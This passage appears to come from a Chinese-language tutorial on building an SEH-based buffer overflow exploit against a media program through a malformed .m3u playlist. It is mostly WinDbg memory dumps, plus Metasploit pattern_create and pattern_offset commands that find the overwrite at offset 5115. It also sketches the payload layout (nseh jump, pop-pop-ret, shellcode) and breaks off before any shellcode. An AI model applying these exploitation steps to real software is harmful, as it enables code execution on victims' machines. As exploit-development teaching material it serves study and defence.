0022f37c 77 39 43 78 30 43 78 31-43 78 32 43 78 33 43 78 w9Cx0Cx1Cx2Cx3Cx
0022f38c 34 43 78 35 43 78 36 43-78 37 43 78 38 43 78 39 4Cx5Cx6Cx7Cx8Cx9
0022f39c 43 79 30 43 79 31 43 79-32 43 79 33 43 79 34 43 Cy0Cy1Cy2Cy3Cy4C
0:000>
0022f3ac 79 35 43 79 36 43 79 37-43 79 38 43 79 39 43 7a y5Cy6Cy7Cy8Cy9Cz
0022f3bc 30 43 7a 31 43 7a 32 43-7a 33 43 7a 34 43 7a 35 0Cz1Cz2Cz3Cz4Cz5
0022f3cc 43 7a 36 43 7a 37 43 7a-38 43 7a 39 44 61 30 44 Cz6Cz7Cz8Cz9Da0D
0022f3dc 61 31 44 61 32 44 61 33-44 61 34 44 61 35 44 61 a1Da2Da3Da4Da5Da
0022f3ec 36 44 61 37 44 61 38 44-61 39 44 62 30 44 62 31 6Da7Da8Da9Db0Db1
0022f3fc 44 62 32 44 62 33 44 62-34 44 62 35 44 62 36 44 Db2Db3Db4Db5Db6D
0022f40c 62 37 44 62 38 44 62 39-44 63 30 44 63 31 44 63 b7Db8Db9Dc0Dc1Dc
0022f41c 32 44 63 33 44 63 34 44-63 35 44 63 36 44 63 37 2Dc3Dc4Dc5Dc6Dc7
0:000>
0022f42c 44 63 38 44 63 39 44 64-30 44 64 31 44 64 32 44 Dc8Dc9Dd0Dd1Dd2D
0022f43c 64 33 44 64 34 44 64 35-44 64 36 44 64 37 44 64 d3Dd4Dd5Dd6Dd7Dd
0022f44c 38 44 64 39 44 65 30 44-65 31 44 65 32 44 65 33 8Dd9De0De1De2De3
0022f45c 44 65 34 44 65 35 44 65-36 44 65 37 44 65 38 44 De4De5De6De7De8D
0022f46c 65 39 44 66 30 44 66 31-44 66 32 44 66 33 44 66 e9Df0Df1Df2Df3Df
0022f47c 34 44 66 35 44 66 36 44-66 37 44 66 38 44 66 39 4Df5Df6Df7Df8Df9
0022f48c 44 67 30 44 67 31 44 67-32 44 67 33 44 67 34 44 Dg0Dg1Dg2Dg3Dg4D
0022f49c 67 35 44 67 36 44 67 37-44 67 38 44 67 39 44 68 g5Dg6Dg7Dg8Dg9Dh
0:000>
0022f4ac 30 44 68 31 44 68 32 44-68 33 44 68 34 44 68 35 0Dh1Dh2Dh3Dh4Dh5
0022f4bc 44 68 36 44 68 37 44 68-38 44 68 39 44 69 30 44 Dh6Dh7Dh8Dh9Di0D
0022f4cc 69 31 44 69 32 44 69 33-44 69 34 44 69 35 44 69 i1Di2Di3Di4Di5Di
0022f4dc 36 44 69 37 44 69 38 44-69 39 44 6a 30 44 6a 31 6Di7Di8Di9Dj0Dj1
0022f4ec 44 6a 32 44 6a 33 44 6a-34 44 6a 35 44 6a 36 44 Dj2Dj3Dj4Dj5Dj6D
0022f4fc 6a 37 44 6a 38 44 6a 39-44 6b 30 44 6b 31 44 6b j7Dj8Dj9Dk0Dk1Dk
0022f50c 32 44 6b 33 44 6b 34 44-6b 35 44 6b 36 44 6b 37 2Dk3Dk4Dk5Dk6Dk7
0022f51c 44 6b 38 44 6b 39 44 6c-30 44 6c 31 44 6c 32 44 Dk8Dk9Dl0Dl1Dl2D
0:000>
0022f52c 6c 33 44 6c 34 44 6c 35-44 6c 36 44 6c 37 44 6c l3Dl4Dl5Dl6Dl7Dl
0022f53c 38 44 6c 39 44 6d 30 44-6d 31 44 6d 32 44 6d 33 8Dl9Dm0Dm1Dm2Dm3
0022f54c 44 6d 34 44 6d 35 44 6d-36 44 6d 37 44 6d 38 44 Dm4Dm5Dm6Dm7Dm8D
0022f55c 6d 39 44 6e 30 44 6e 31-44 6e 32 44 6e 33 44 6e m9Dn0Dn1Dn2Dn3Dn
0022f56c 34 44 6e 35 44 6e 36 44-6e 37 44 6e 38 44 6e 39 4Dn5Dn6Dn7Dn8Dn9
0022f57c 44 6f 30 44 6f 31 44 6f-32 44 6f 33 44 6f 34 44 Do0Do1Do2Do3Do4D
0022f58c 6f 35 44 6f 36 44 6f 37-44 6f 38 44 6f 39 44 70 o5Do6Do7Do8Do9Dp
0022f59c 30 44 70 31 44 70 32 44-70 33 44 70 34 44 70 35 0Dp1Dp2Dp3Dp4Dp5
0:000>
0022f5ac 44 70 36 44 70 37 44 70-38 44 70 39 44 71 30 44 Dp6Dp7Dp8Dp9Dq0D
0022f5bc 71 31 44 71 32 44 71 33-44 71 34 44 71 35 44 71 q1Dq2Dq3Dq4Dq5Dq
0022f5cc 36 44 71 37 44 71 38 44-71 39 44 72 30 44 72 31 6Dq7Dq8Dq9Dr0Dr1
0022f5dc 44 72 32 44 72 33 44 72-34 44 72 35 44 72 36 44 Dr2Dr3Dr4Dr5Dr6D
0022f5ec 72 37 44 72 38 44 72 39-44 73 30 44 73 31 44 73 r7Dr8Dr9Ds0Ds1Ds
0022f5fc 32 44 73 33 44 73 34 44-73 35 44 73 36 44 73 37 2Ds3Ds4Ds5Ds6Ds7
0022f60c 44 73 38 44 73 39 44 74-30 44 74 31 44 74 32 44 Ds8Ds9Dt0Dt1Dt2D
0022f61c 74 33 44 74 34 44 74 35-44 74 36 44 74 37 44 74 t3Dt4Dt5Dt6Dt7Dt
0:000>
0022f62c 38 44 74 39 44 75 30 44-75 31 44 75 32 44 75 33 8Dt9Du0Du1Du2Du3
0022f63c 44 75 34 44 75 35 44 75-36 44 75 37 44 75 38 44 Du4Du5Du6Du7Du8D
0022f64c 75 39 44 76 30 44 76 31-44 76 32 44 76 33 44 76 u9Dv0Dv1Dv2Dv3Dv
0022f65c 34 44 76 35 44 76 36 44-76 37 44 76 38 44 76 39 4Dv5Dv6Dv7Dv8Dv9
0022f66c 44 77 30 44 77 31 44 77-32 44 77 33 44 77 34 44 Dw0Dw1Dw2Dw3Dw4D
0022f67c 77 35 44 77 36 44 77 37-44 77 38 44 77 39 44 78 w5Dw6Dw7Dw8Dw9Dx
0022f68c 30 44 78 31 44 78 32 44-78 33 44 78 34 44 78 35 0Dx1Dx2Dx3Dx4Dx5
0022f69c 44 78 36 44 78 37 44 78-38 44 78 39 44 79 30 44 Dx6Dx7Dx8Dx9Dy0D
0:000>
0022f6ac 79 31 44 79 32 44 79 33-44 79 34 44 79 35 44 79 y1Dy2Dy3Dy4Dy5Dy
0022f6bc 36 44 79 37 44 79 38 44-79 39 44 7a 30 44 7a 31 6Dy7Dy8Dy9Dz0Dz1
0022f6cc 44 7a 32 44 7a 33 44 7a-34 44 7a 35 44 7a 36 44 Dz2Dz3Dz4Dz5Dz6D
0022f6dc 7a 37 44 7a 38 44 7a 39-45 61 30 45 61 31 45 61 z7Dz8Dz9Ea0Ea1Ea
0022f6ec 32 45 61 33 45 61 34 45-61 35 45 61 36 45 61 37 2Ea3Ea4Ea5Ea6Ea7
0022f6fc 45 61 38 45 61 39 45 62-30 45 62 31 45 62 32 45 Ea8Ea9Eb0Eb1Eb2E
0022f70c 62 33 45 62 34 45 62 35-45 62 36 45 62 37 45 62 b3Eb4Eb5Eb6Eb7Eb
0022f71c 38 45 62 39 45 63 30 45-63 31 45 63 32 45 63 33 8Eb9Ec0Ec1Ec2Ec3
0:000>
0022f72c 45 63 34 45 63 35 45 63-36 45 63 37 45 63 38 45 Ec4Ec5Ec6Ec7Ec8E
0022f73c 63 39 45 64 30 45 64 31-45 64 32 45 64 33 45 64 c9Ed0Ed1Ed2Ed3Ed
0022f74c 34 45 64 35 45 64 36 45-64 37 45 64 38 45 64 39 4Ed5Ed6Ed7Ed8Ed9
0022f75c 45 65 30 45 65 31 45 65-32 45 65 33 45 65 34 45 Ee0Ee1Ee2Ee3Ee4E
0022f76c 65 35 45 65 36 45 65 37-45 65 38 45 65 39 45 66 e5Ee6Ee7Ee8Ee9Ef
0022f77c 30 45 66 31 45 66 32 45-66 33 45 66 34 45 66 35 0Ef1Ef2Ef3Ef4Ef5
0022f78c 45 66 36 45 66 37 45 66-38 45 66 39 45 67 30 45 Ef6Ef7Ef8Ef9Eg0E
0022f79c 67 31 45 67 32 45 67 33-45 67 34 45 67 35 45 67 g1Eg2Eg3Eg4Eg5Eg
0:000>
0022f7ac 36 45 67 37 45 67 38 45-67 39 45 68 30 45 68 31 6Eg7Eg8Eg9Eh0Eh1
0022f7bc 45 68 32 45 68 33 45 68-34 45 68 35 45 68 36 45 Eh2Eh3Eh4Eh5Eh6E
0022f7cc 68 37 45 68 38 45 68 39-45 69 30 45 69 31 45 69 h7Eh8Eh9Ei0Ei1Ei
0022f7dc 32 45 69 33 45 69 34 45-69 35 45 69 36 45 69 37 2Ei3Ei4Ei5Ei6Ei7
0022f7ec 45 69 38 45 69 39 45 6a-30 45 6a 31 45 6a 32 45 Ei8Ei9Ej0Ej1Ej2E
0022f7fc 6a 33 45 6a 34 45 6a 35-45 6a 36 45 6a 37 45 6a j3Ej4Ej5Ej6Ej7Ej
0022f80c 38 45 6a 39 45 6b 30 45-6b 31 45 6b 32 45 6b 33 8Ej9Ek0Ek1Ek2Ek3
0022f81c 45 6b 34 45 6b 35 45 6b-36 45 6b 37 45 6b 38 45 Ek4Ek5Ek6Ek7Ek8E
0:000>
0022f82c 6b 39 45 6c 30 45 6c 31-45 6c 32 45 6c 33 45 6c k9El0El1El2El3El
0022f83c 34 45 6c 35 45 6c 36 45-6c 37 45 6c 38 45 6c 39 4El5El6El7El8El9
0022f84c 45 6d 30 45 6d 31 45 6d-32 45 6d 33 45 6d 34 45 Em0Em1Em2Em3Em4E
0022f85c 6d 35 45 6d 36 45 6d 37-45 6d 38 45 6d 39 45 6e m5Em6Em7Em8Em9En
0022f86c 30 45 6e 31 45 6e 32 45-6e 33 45 6e 34 45 6e 35 0En1En2En3En4En5
0022f87c 45 6e 36 45 6e 37 45 6e-38 45 6e 39 45 6f 30 45 En6En7En8En9Eo0E
0022f88c 6f 31 45 6f 32 45 6f 33-45 6f 34 45 6f 35 45 6f o1Eo2Eo3Eo4Eo5Eo
0022f89c 36 45 6f 37 45 6f 38 45-6f 39 45 70 30 45 70 31 6Eo7Eo8Eo9Ep0Ep1
0:000>
0022f8ac 45 70 32 45 70 33 45 70-34 45 70 35 45 70 36 45 Ep2Ep3Ep4Ep5Ep6E
0022f8bc 70 37 45 70 38 45 70 39-45 71 30 45 71 31 45 71 p7Ep8Ep9Eq0Eq1Eq
0022f8cc 32 45 71 33 45 71 34 45-71 35 45 71 36 45 71 37 2Eq3Eq4Eq5Eq6Eq7
0022f8dc 45 71 38 45 71 39 45 72-30 45 72 31 45 72 32 45 Eq8Eq9Er0Er1Er2E
0022f8ec 72 33 45 72 34 45 72 35-45 72 36 45 72 37 45 72 r3Er4Er5Er6Er7Er
0022f8fc 38 45 72 39 45 73 30 45-73 31 45 73 32 45 73 33 8Er9Es0Es1Es2Es3
0022f90c 45 73 34 45 73 35 45 73-36 45 73 37 45 73 38 45 Es4Es5Es6Es7Es8E
0022f91c 73 39 45 74 30 45 74 31-45 74 32 45 74 33 45 74 s9Et0Et1Et2Et3Et
0:000>
0022f92c 34 45 74 35 45 74 36 45-74 37 45 74 38 45 74 39 4Et5Et6Et7Et8Et9
0022f93c 45 75 30 45 75 31 45 75-32 45 75 33 45 75 34 45 Eu0Eu1Eu2Eu3Eu4E
0022f94c 75 35 45 75 36 45 75 37-45 75 38 45 75 39 45 76 u5Eu6Eu7Eu8Eu9Ev
0022f95c 30 45 76 31 45 76 32 45-76 33 45 76 34 45 76 35 0Ev1Ev2Ev3Ev4Ev5
0022f96c 45 76 36 45 76 37 45 76-38 45 76 39 45 77 30 45 Ev6Ev7Ev8Ev9Ew0E
0022f97c 77 31 45 77 32 45 77 33-45 77 34 45 77 35 45 77 w1Ew2Ew3Ew4Ew5Ew
0022f98c 36 45 77 37 45 77 38 45-77 39 45 78 30 45 78 31 6Ew7Ew8Ew9Ex0Ex1
0022f99c 45 78 32 45 78 33 45 78-34 45 78 35 45 78 36 45 Ex2Ex3Ex4Ex5Ex6E
0:000>
0022f9ac 78 37 45 78 38 45 78 39-45 79 30 45 79 31 45 79 x7Ex8Ex9Ey0Ey1Ey
0022f9bc 32 45 79 33 45 79 34 45-79 35 45 79 36 45 79 37 2Ey3Ey4Ey5Ey6Ey7
0022f9cc 45 79 38 45 79 39 45 7a-30 45 7a 31 45 7a 32 45 Ey8Ey9Ez0Ez1Ez2E
0022f9dc 7a 33 45 7a 34 45 7a 35-45 7a 36 45 7a 37 45 7a z3Ez4Ez5Ez6Ez7Ez
0022f9ec 38 45 7a 39 46 61 30 46-61 31 46 61 32 46 61 33 8Ez9Fa0Fa1Fa2Fa3
0022f9fc 46 61 34 46 61 35 46 61-36 46 61 37 46 61 38 46 Fa4Fa5Fa6Fa7Fa8F
0022fa0c 61 39 46 62 30 46 62 31-46 62 32 46 62 33 46 62 a9Fb0Fb1Fb2Fb3Fb
0022fa1c 34 46 62 35 46 62 36 46-62 37 46 62 38 46 62 39 4Fb5Fb6Fb7Fb8Fb9
0:000>
0022fa2c 46 63 30 46 63 31 46 63-32 46 63 33 46 63 34 46 Fc0Fc1Fc2Fc3Fc4F
0022fa3c 63 35 46 63 36 46 63 37-46 63 38 46 63 39 46 64 c5Fc6Fc7Fc8Fc9Fd
0022fa4c 30 46 64 31 46 64 32 46-64 33 46 64 34 46 64 35 0Fd1Fd2Fd3Fd4Fd5
0022fa5c 46 64 36 46 64 37 46 64-38 46 64 39 46 65 30 46 Fd6Fd7Fd8Fd9Fe0F
0022fa6c 65 31 46 65 32 46 65 33-46 65 34 46 65 35 46 65 e1Fe2Fe3Fe4Fe5Fe
0022fa7c 36 46 65 37 46 65 38 46-65 39 46 66 30 46 66 31 6Fe7Fe8Fe9Ff0Ff1
0022fa8c 46 66 32 46 66 33 46 66-34 46 66 35 46 66 36 46 Ff2Ff3Ff4Ff5Ff6F
0022fa9c 66 37 46 66 38 46 66 39-46 67 30 46 67 31 46 67 f7Ff8Ff9Fg0Fg1Fg
0:000>
0022faac 32 46 67 33 46 67 34 46-67 35 46 67 36 46 67 37 2Fg3Fg4Fg5Fg6Fg7
0022fabc 46 67 38 46 67 39 46 68-30 46 68 31 46 68 32 46 Fg8Fg9Fh0Fh1Fh2F
0022facc 68 33 46 68 34 46 68 35-46 68 36 46 68 37 46 68 h3Fh4Fh5Fh6Fh7Fh
0022fadc 38 46 68 39 46 69 30 46-69 31 46 69 32 46 69 33 8Fh9Fi0Fi1Fi2Fi3
0022faec 46 69 34 46 69 35 46 69-36 46 69 37 46 69 38 46 Fi4Fi5Fi6Fi7Fi8F
0022fafc 69 39 46 6a 30 46 6a 31-46 6a 32 46 6a 33 46 6a i9Fj0Fj1Fj2Fj3Fj
0022fb0c 34 46 6a 35 46 6a 36 46-6a 37 46 6a 38 46 6a 39 4Fj5Fj6Fj7Fj8Fj9
0022fb1c 46 6b 30 46 6b 31 46 6b-32 46 6b 33 46 6b 34 46 Fk0Fk1Fk2Fk3Fk4F
0:000>
0022fb2c 6b 35 46 6b 36 46 6b 37-46 6b 38 46 6b 39 46 6c k5Fk6Fk7Fk8Fk9Fl
0022fb3c 30 46 6c 31 46 6c 32 46-6c 33 46 6c 34 46 6c 35 0Fl1Fl2Fl3Fl4Fl5
0022fb4c 46 6c 36 46 6c 37 46 6c-38 46 6c 39 46 6d 30 46 Fl6Fl7Fl8Fl9Fm0F
0022fb5c 6d 31 46 6d 32 46 6d 33-46 6d 34 46 6d 35 46 6d m1Fm2Fm3Fm4Fm5Fm
0022fb6c 36 46 6d 37 46 6d 38 46-6d 39 46 6e 30 46 6e 31 6Fm7Fm8Fm9Fn0Fn1
0022fb7c 46 6e 32 46 6e 33 46 6e-34 46 6e 35 46 6e 36 46 Fn2Fn3Fn4Fn5Fn6F
0022fb8c 6e 37 46 6e 38 46 6e 39-46 6f 30 46 6f 31 46 6f n7Fn8Fn9Fo0Fo1Fo
0022fb9c 32 46 6f 33 46 6f 34 46-6f 35 46 6f 36 46 6f 37 2Fo3Fo4Fo5Fo6Fo7
0:000>
0022fbac 46 6f 38 46 6f 39 46 70-30 46 70 31 46 70 32 46 Fo8Fo9Fp0Fp1Fp2F
0022fbbc 70 33 46 70 34 46 70 35-46 70 36 46 70 37 46 70 p3Fp4Fp5Fp6Fp7Fp
0022fbcc 38 46 70 39 46 71 30 46-71 31 46 71 32 46 71 33 8Fp9Fq0Fq1Fq2Fq3
0022fbdc 46 71 34 46 71 35 46 71-36 46 71 37 46 71 38 46 Fq4Fq5Fq6Fq7Fq8F
0022fbec 71 39 46 72 30 46 72 31-46 72 32 46 72 33 46 72 q9Fr0Fr1Fr2Fr3Fr
0022fbfc 34 46 72 35 46 72 36 46-72 37 46 72 38 46 72 39 4Fr5Fr6Fr7Fr8Fr9
0022fc0c 46 73 30 46 73 31 46 73-32 46 73 33 46 73 34 46 Fs0Fs1Fs2Fs3Fs4F
0022fc1c 73 35 46 73 36 46 73 37-46 73 38 46 73 39 46 74 s5Fs6Fs7Fs8Fs9Ft
0:000>
0022fc2c 30 46 74 31 46 74 32 46-74 33 46 74 34 46 74 35 0Ft1Ft2Ft3Ft4Ft5
0022fc3c 46 74 36 46 74 37 46 74-38 46 74 39 46 75 30 46 Ft6Ft7Ft8Ft9Fu0F
0022fc4c 75 31 46 75 32 46 75 33-46 75 34 46 75 35 46 75 u1Fu2Fu3Fu4Fu5Fu
0022fc5c 36 46 75 37 46 75 38 46-75 39 46 76 30 46 76 31 6Fu7Fu8Fu9Fv0Fv1
0022fc6c 46 76 32 46 76 33 46 76-34 46 76 35 46 76 36 46 Fv2Fv3Fv4Fv5Fv6F
0022fc7c 76 37 46 76 38 46 76 39-46 77 30 46 77 31 46 77 v7Fv8Fv9Fw0Fw1Fw
0022fc8c 32 46 77 33 46 77 34 46-77 35 46 77 36 46 77 37 2Fw3Fw4Fw5Fw6Fw7
0022fc9c 46 77 38 46 77 39 46 78-30 46 78 31 46 78 32 46 Fw8Fw9Fx0Fx1Fx2F
0:000>
0022fcac 78 33 46 78 34 46 78 35-46 78 36 46 78 37 46 78 x3Fx4Fx5Fx6Fx7Fx
0022fcbc 38 46 78 39 46 79 30 46-79 31 46 79 32 46 79 33 8Fx9Fy0Fy1Fy2Fy3
0022fccc 46 79 34 46 79 35 46 79-36 46 79 37 46 79 38 46 Fy4Fy5Fy6Fy7Fy8F
0022fcdc 79 39 46 7a 30 46 7a 31-46 7a 32 46 7a 33 46 7a y9Fz0Fz1Fz2Fz3Fz
0022fcec 34 46 7a 35 46 7a 36 46-7a 37 46 7a 38 46 7a 39 4Fz5Fz6Fz7Fz8Fz9
0022fcfc 47 61 30 47 61 31 47 61-32 47 61 33 47 61 34 47 Ga0Ga1Ga2Ga3Ga4G
0022fd0c 61 35 47 61 36 47 61 37-47 61 38 47 61 39 47 62 a5Ga6Ga7Ga8Ga9Gb
0022fd1c 30 47 62 31 47 62 32 47-62 33 47 62 34 47 62 35 0Gb1Gb2Gb3Gb4Gb5
0:000>
0022fd2c 47 62 36 47 62 37 47 62-38 47 62 39 47 63 30 47 Gb6Gb7Gb8Gb9Gc0G
0022fd3c 63 31 47 63 32 47 63 33-47 63 34 47 63 35 47 63 c1Gc2Gc3Gc4Gc5Gc
0022fd4c 36 47 63 37 47 63 38 47-63 39 47 64 30 47 64 31 6Gc7Gc8Gc9Gd0Gd1
0022fd5c 47 64 32 47 64 33 47 64-34 47 64 35 47 64 36 47 Gd2Gd3Gd4Gd5Gd6G
0022fd6c 64 37 47 64 38 47 64 39-47 65 30 47 65 31 47 65 d7Gd8Gd9Ge0Ge1Ge
0022fd7c 32 47 65 33 47 65 34 47-65 35 47 65 36 47 65 37 2Ge3Ge4Ge5Ge6Ge7
0022fd8c 47 65 38 47 65 39 47 66-30 47 66 31 47 66 32 47 Ge8Ge9Gf0Gf1Gf2G
0022fd9c 66 33 47 66 34 47 66 35-47 66 36 47 66 37 47 66 f3Gf4Gf5Gf6Gf7Gf
0:000>
0022fdac 38 47 66 39 47 67 30 47-67 31 47 67 32 47 67 33 8Gf9Gg0Gg1Gg2Gg3
0022fdbc 47 67 34 47 67 35 47 67-36 47 67 37 47 67 38 47 Gg4Gg5Gg6Gg7Gg8G
0022fdcc 67 39 47 68 30 47 68 31-47 68 32 47 68 33 47 68 g9Gh0Gh1Gh2Gh3Gh
0022fddc 34 47 68 35 47 68 36 47-68 37 47 68 38 47 68 39 4Gh5Gh6Gh7Gh8Gh9
0022fdec 47 69 30 47 69 31 47 69-32 47 69 33 47 69 34 47 Gi0Gi1Gi2Gi3Gi4G
0022fdfc 69 35 47 69 36 47 69 37-47 69 38 47 69 39 47 6a i5Gi6Gi7Gi8Gi9Gj
0022fe0c 30 47 6a 31 47 6a 32 47-6a 33 47 6a 34 47 6a 35 0Gj1Gj2Gj3Gj4Gj5
0022fe1c 47 6a 36 47 6a 37 47 6a-38 47 6a 39 47 6b 30 47 Gj6Gj7Gj8Gj9Gk0G
0:000>
0022fe2c 6b 31 47 6b 32 47 6b 33-47 6b 34 47 6b 35 47 6b k1Gk2Gk3Gk4Gk5Gk
0022fe3c 00 61 35 47 61 36 47 61-37 47 61 38 47 61 39 47 .a5Ga6Ga7Ga8Ga9G
0022fe4c 62 30 47 62 31 47 62 32-47 62 33 47 62 34 47 62 b0Gb1Gb2Gb3Gb4Gb
0022fe5c 35 47 62 36 47 62 37 47-62 38 47 62 39 47 63 30 5Gb6Gb7Gb8Gb9Gc0
0022fe6c 47 63 31 47 63 32 47 63-33 47 63 34 47 63 35 47 Gc1Gc2Gc3Gc4Gc5G
0022fe7c 63 36 47 63 37 47 63 38-47 63 39 47 64 30 47 64 c6Gc7Gc8Gc9Gd0Gd
0022fe8c 31 47 64 32 47 64 33 47-64 34 47 64 35 47 64 36 1Gd2Gd3Gd4Gd5Gd6
0022fe9c 47 64 37 47 64 38 47 64-39 47 65 30 47 65 31 47 Gd7Gd8Gd9Ge0Ge1G
0:000>
0022feac 65 32 47 65 33 47 65 34-47 65 35 47 65 36 47 65 e2Ge3Ge4Ge5Ge6Ge
0022febc 37 47 65 38 47 65 39 47-66 30 47 66 31 47 66 32 7Ge8Ge9Gf0Gf1Gf2
0022fecc 47 66 33 47 66 34 47 66-35 47 66 36 47 66 37 47 Gf3Gf4Gf5Gf6Gf7G
0022fedc 66 38 47 66 39 47 67 30-47 67 31 47 67 32 47 67 f8Gf9Gg0Gg1Gg2Gg
0022feec 33 47 67 34 47 67 35 47-67 36 47 67 37 47 67 38 3Gg4Gg5Gg6Gg7Gg8
0022fefc 47 67 39 47 68 30 47 68-31 47 68 32 47 68 33 47 Gg9Gh0Gh1Gh2Gh3G
0022ff0c 68 34 47 68 35 47 68 36-47 68 37 47 68 38 47 68 h4Gh5Gh6Gh7Gh8Gh
0022ff1c 39 47 69 30 47 69 31 47-69 32 47 69 33 47 69 34 9Gi0Gi1Gi2Gi3Gi4
0:000>
0022ff2c 47 69 35 47 69 36 47 69-37 47 69 38 47 69 39 47 Gi5Gi6Gi7Gi8Gi9G
0022ff3c 6a 30 47 6a 31 47 6a 32-47 6a 33 47 6a 34 47 6a j0Gj1Gj2Gj3Gj4Gj
0022ff4c 35 47 6a 36 47 6a 37 47-6a 38 47 6a 39 47 6b 30 5Gj6Gj7Gj8Gj9Gk0
0022ff5c 47 6b 31 47 6b 32 47 6b-33 47 6b 34 47 6b 35 47 Gk1Gk2Gk3Gk4Gk5G
0022ff6c 6b 00 a7 00 94 ff 22 00-ff ff ff ff 90 ff 22 00 k…..”…….”.
0022ff7c 00 00 00 00 00 00 00 00-40 11 40 00 00 00 00 00 ……..@.@…..
0022ff8c 20 b0 62 81 00 00 00 00-60 2a 3e 00 00 00 00 00 .b…..`*>…..
0022ff9c 00 e0 fd 7f c0 ff 22 00-58 11 40 00 02 00 00 00 ……”.X.@…..
0:000>
0022ffac 00 00 00 00 ba dc 92 7c-e4 6f 81 7c fe ff ff ff …….|.o.|….
0022ffbc 09 00 00 00 f0 ff 22 00-e7 6f 81 7c 00 00 00 00 ……”..o.|….
0022ffcc f9 b3 d1 77 00 e0 fd 7f-05 00 00 c0 c8 ff 22 00 …w……….”.
0022ffdc d0 e2 22 00 ff ff ff ff-f0 9a 83 7c f0 6f 81 7c ..”……..|.o.|
0022ffec 00 00 00 00 00 00 00 00-00 00 00 00 40 11 40 00 …………@.@.
0022fffc 00 00 00 00 41 63 74 78-20 00 00 00 01 00 00 00 ….Actx …….
0023000c b8 24 00 00 c4 00 00 00-00 00 00 00 20 00 00 00 .$………. …
0023001c 00 00 00 00 14 00 00 00-01 00 00 00 06 00 00 00 …………….
可以看到超长字符串,还差约150字节就能覆盖到栈中的异常处理结构,重新生成一个更大的畸形文件
root@scan:~/Desktop# /opt/metasploit/apps/pro/msf3/tools/pattern_create.rb 6000 > ~/Desktop/6k.m3u
重新运行程序
0:000> !exchain
0022ffe0: 6f47366f
Invalid exception stack at 47356f47
0:000> d fs:[0]
*** ERROR: Module load completed but symbols could not be loaded for image00400000
003b:00000000 e0 ff 22 00 00 00 23 00-00 a0 22 00 00 00 00 00 ..”…#…”…..
003b:00000010 00 1e 00 00 00 00 00 00-00 f0 fd 7f 00 00 00 00 …………….
003b:00000020 5c 07 00 00 60 0a 00 00-00 00 00 00 88 2c 25 00 /…`……..,%.
003b:00000030 00 60 fd 7f ce 00 00 00-00 00 00 00 00 00 00 00 .`…………..
003b:00000040 98 64 55 e2 00 00 00 00-00 00 00 00 00 00 00 00 .dU………….
003b:00000050 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 …………….
003b:00000060 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 …………….
003b:00000070 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 …………….
0:000> d 0022ffe0
0022ffe0 47 6f 35 47 6f 36 47 6f-37 47 6f 38 47 6f 39 47 Go5Go6Go7Go8Go9G
0022fff0 70 30 47 70 31 47 70 32-47 70 33 47 70 34 47 70 p0Gp1Gp2Gp3Gp4Gp
00230000 41 63 74 78 20 00 00 00-01 00 00 00 b8 24 00 00 Actx ……..$..
00230010 c4 00 00 00 00 00 00 00-20 00 00 00 00 00 00 00 …….. …….
00230020 14 00 00 00 01 00 00 00-06 00 00 00 34 00 00 00 …………4…
00230030 14 01 00 00 01 00 00 00-00 00 00 00 00 00 00 00 …………….
00230040 00 00 00 00 00 00 00 00-00 00 00 00 02 00 00 00 …………….
00230050 00 00 00 00 00 00 00 00-00 00 00 00 14 02 00 00 …………….
成功覆盖了seh。
现在我们来控制eip,定位下溢出点:
root@scan:~/Desktop# /opt/metasploit/apps/pro/msf3/tools/pattern_offset.rb 6f47366f
[*] Exact match at offset 5119
root@scan:~/Desktop# /opt/metasploit/apps/pro/msf3/tools/pattern_offset.rb 47356f47
[*] Exact match at offset 5115
溢出的基本流程应该是这样的:
/xeb/x06/x90/x90 pop pop ret address
["A" x 5115] [ nseh ] [ seh ] [ shellcode ]
shellcode貌似空间不太够,需要往回跳转了这次!
还好前面的字符串都是连续的没被破坏掉。
0:000> d 0022ffe0-400
0022fbe0 33 46 67 34 46 67 35 46-67 36 46 67 37 46 67 38 3Fg4Fg5Fg6Fg7Fg8
0022fbf0 46 67 39 46 68 30 46 68-31 46 68 32 46 68 33 46 Fg9Fh0Fh1Fh2Fh3F
0022fc00 68 34 46 68 35 46 68 36-46 68 37 46 68 38 46 68 h4Fh5Fh6Fh7Fh8Fh
0022fc10 39 46 69 30 46 69 31 46-69 32 46 69 33 46 69 34 9Fi0Fi1Fi2Fi3Fi4
0022fc20 46 69 35 46 69 36 46 69-37 46 69 38 46 69 39 46 Fi5Fi6Fi7Fi8Fi9F
0022fc30 6a 30 46 6a 31 46 6a 32-46 6a 33 46 6a 34 46 6a j0Fj1Fj2Fj3Fj4Fj
0022fc40 35 46 6a 36 46 6a 37 46-6a 38 46 6a 39 46 6b 30 5Fj6Fj7Fj8Fj9Fk0
0022fc50 46 6b 31 46 6b 32 46 6b-33 46 6b 34 46 6b 35 46 Fk1Fk2Fk3Fk4Fk5F
0:000> d
0022fc60 6b 36 46 6b 37 46 6b 38-46 6b 39 46 6c 30 46 6c k6Fk7Fk8Fk9Fl0Fl
0022fc70 31 46 6c 32 46 6c 33 46-6c 34 46 6c 35 46 6c 36 1Fl2Fl3Fl4Fl5Fl6
0022fc80 46 6c 37 46 6c 38 46 6c-39 46 6d 30 46 6d 31 46 Fl7Fl8Fl9Fm0Fm1F
0022fc90 6d 32 46 6d 33 46 6d 34-46 6d 35 46 6d 36 46 6d m2Fm3Fm4Fm5Fm6Fm
0022fca0 37 46 6d 38 46 6d 39 46-6e 30 46 6e 31 46 6e 32 7Fm8Fm9Fn0Fn1Fn2
0022fcb0 46 6e 33 46 6e 34 46 6e-35 46 6e 36 46 6e 37 46 Fn3Fn4Fn5Fn6Fn7F
0022fcc0 6e 38 46 6e 39 46 6f 30-46 6f 31 46 6f 32 46 6f n8Fn9Fo0Fo1Fo2Fo
0022fcd0 33 46 6f 34 46 6f 35 46-6f 36 46 6f 37 46 6f 38 3Fo4Fo5Fo6Fo7Fo8
0:000>
0022fce0 46 6f 39 46 70 30 46 70-31 46 70 32 46 70 33 46 Fo9Fp0Fp1Fp2Fp3F
0022fcf0 70 34 46 70 35 46 70 36-46 70 37 46 70 38 46 70 p4Fp5Fp6Fp7Fp8Fp
0022fd00 39 46 71 30 46 71 31 46-71 32 46 71 33 46 71 34 9Fq0Fq1Fq2Fq3Fq4
0022fd10 46 71 35 46 71 36 46 71-37 46 71 38 46 71 39 46 Fq5Fq6Fq7Fq8Fq9F
0022fd20 72 30 46 72 31 46 72 32-46 72 33 46 72 34 46 72 r0Fr1Fr2Fr3Fr4Fr
0022fd30 35 46 72 36 46 72 37 46-72 38 46 72 39 46 73 30 5Fr6Fr7Fr8Fr9Fs0
